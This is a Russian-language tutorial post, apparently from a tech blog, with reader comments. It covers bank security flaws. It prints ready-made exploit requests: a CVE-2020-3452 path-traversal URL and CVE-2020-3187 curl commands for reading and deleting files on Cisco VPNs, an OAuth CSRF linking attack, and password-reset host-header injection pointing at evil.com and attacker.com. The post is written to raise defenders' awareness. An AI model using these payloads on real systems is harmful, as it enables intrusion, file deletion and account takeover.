Проблемы безопасности онлайн банков

  • Tutorial

Привет друзья!

Сегодня речь пойдет о насущных проблемах безопасности банковских систем, мы разберем часто встречающиеся уязвимости и сделаем выводы на основе актуальных проблем.

Важно

Опять же, автор не гарантирует вам показать как полностью защитить вашу систему от кибер угроз, лишь хочет показать на какие проблемы следует обратить ваше внимание

1. SSL VPN Сервисы

Очень часто банки используют Cisco SSL VPN сервисы для организации удаленного доступа в свою внутреннюю сеть

Это хорошо, но.. В Cisco существуют две потенциальные уязвимости CVE-2020-3452 и CVE-2020-3187

1.1. CVE-2020-3452

CVE-2020-3452 - это уязвимость обхода пути только для чтения в программном обеспечении Cisco ASA и FTD. Удаленный злоумышленник, не прошедший проверку подлинности, может воспользоваться этой уязвимостью, отправив специально созданный HTTP-запрос в уязвимую систему.

Воспроизведение данной уязвимости очень проста для злоумышленника

https://bank.com/+CSCOT+/translation-table?type=mst&textdomain=/%252bCSCOE%252b/portal_inc.lua&default-language&lang=../

Ответ

Вот так мы прочитываем файлы, в которых можно найти конфиденциальную информацию.

1.2. CVE-2020-3187

Эксплойт может позволить злоумышленнику просмотреть или удалить произвольные файлы в целевой системе

Для воспроизведения уязвимости нужно узнать дает ли /session_password.html ответ 200

curl -k -s -i https://Cisco-VPN/+CSCOE+/session_password.html

Дает результат 200? - Отлично

Попробуем удалить файл с логотипом "/+CSCOU+/csco_logo.gif"

curl -k -H "Cookie: token=../+CSCOU+/csco_logo.gif" https://Cisco-VPN/+CSCOE+/session_password.html

С VPN сервисами закончили.

2. Аутентификация & OAuth

Разработчики онлайн-банкинга часто допускают ошибки при реализации единого входа (SSO) на основе протокола OAuth 2.0, что может привести к перехвату учетных данных, отправленных по незащищенному протоколу, и захвату сеанса злоумышленником.

Пример

GET /auth/sso/cb?code=[sso token account] HTTP/1.1
Host: bank.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

Обычно в таких запросах обязательно должны стоять CSRF ключи для проверки подлинности. Но если их нет - злоумышленник может развить свою атаку.

  1. Регистрация аккаунта SSO

  2. При попытке привязать свой аккаунт SSO к банку, злоумышленник перехватывает запрос тот что в верху

  3. Отправляет сгенерированную ссылку жертве.

  4. Аккаунт SSO хакера привязан к банку жертвы.

Или например иногда некоторые механизмы позволяют перехватывать redirect_uri - тоесть обычно в нем вписывается url куда должны поступить токены для авторизации. Иногда такая защита не работает должным образом и злоумышленник подставляет свой сайт/сервер куда впоследствии перейдут токены пользователя.

Захват учетной записи через сброс пароля

Эксплуатация

POST https://bank.com/reset.php HTTP/1.1
Accept: /
Content-Type: application/json
Host: evil.com

или

Host: bank.com
X-Forwarded-Host: attacker.com

Ну или

Host: target.com
Host: attacker.com

При восстановлении пороля злоумышленник должен указать email адрес жертвы и в заголовках попытаться внедрить свой хост.

При успешной реализации атаки на почту пользователю придет следущее

https://evil.com/reset-password.php?token=12345678-1234-1234-1234-12345678901

Как мы видим сервер подставил вместо хоста банка - хост хакера. И если пользователь перейдет по ссылке, то злоумышленник получить токены для авторизации.

Иногда можно не изменять хост в заголовках и поступить другим образом.

POST /resetPassword
[…]
email=victim@email.com&email=attacker@email.com

В запросе видно что злоумышленник просто продублировал параметр email и указал свою почту на которую прийдет токен авторизации.

Вывод

Постоянно обновляйте свои службы будь то SSL VPN, или GlobalProtect.

Следите за безопасностью аутентификации

Также как совет используйте брандмауэр веб-приложений ( WAF ), чтобы предотвратить использование уязвимостей, вызванных изменениями кода.

Удачи! Всего доброго.

Комментарии 11

    +1

    Так эти проблемы неспецифичны для банков. Такое же может быть в любом мало-мальски крупном энтерпрайзе — вне зависимости от сферы деятельности. Просто до банков это наиболее плачевно, т.к. в них деньги пользователей хранятся

      0

      Да, согласен с вами. Но хотелось бы больше чтобы разработчики смотрели именно на эти проблемы

        0

        Прошу прощения, разработчики в банках — на проблемы в Cisco?

      +1

      Обновляться часто — это не про банки. Если конкретный сотрудник или отдел не обновит софт, виноват во взломе будет хакер — но не сотрудники. Если обновит, и что-то пойдет не так — виноваты (и больно) будут именно сотрудники. Ю


      Просто нет смысла напрягаться. Безопасность денег клиентов — проблема клиентов, это же известно.

      +1

      Серьезно, четыре очень инфраструктурно специфичных кейса? Проблем там гораздо больше, это я как человек в теме скажу

        0

        Я с тобой согласен — что проблем гораздо больше. Но я выделил эти проблемы, они более распространены.

          0
          Откуда информация про распространенность?
            0

            Из личного опыта, я выделил в "своей" статье "часто" встречающиеся проблемы.

        +1
        Вопрос относительно CVE-2020-3452, какую именно информацию удавалось получить с помощью эксплуатации данной уязвимости? Имею ввиду именно реальный практический импакт, например конфигурация оборудования или получение сессии пользователя, а не вакуумное описание CVE или просто чтение portal_inc.lua
          0

          Вы можете просматривать системные файлы vpn сервиса, в некоторых файлах могут хранятся сессионые куки, пороли их главное найти. Обычно в portal_inc.lua попадаются сессионые куки, опять же, надо перебирать системные файлы.

        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

        Самое читаемое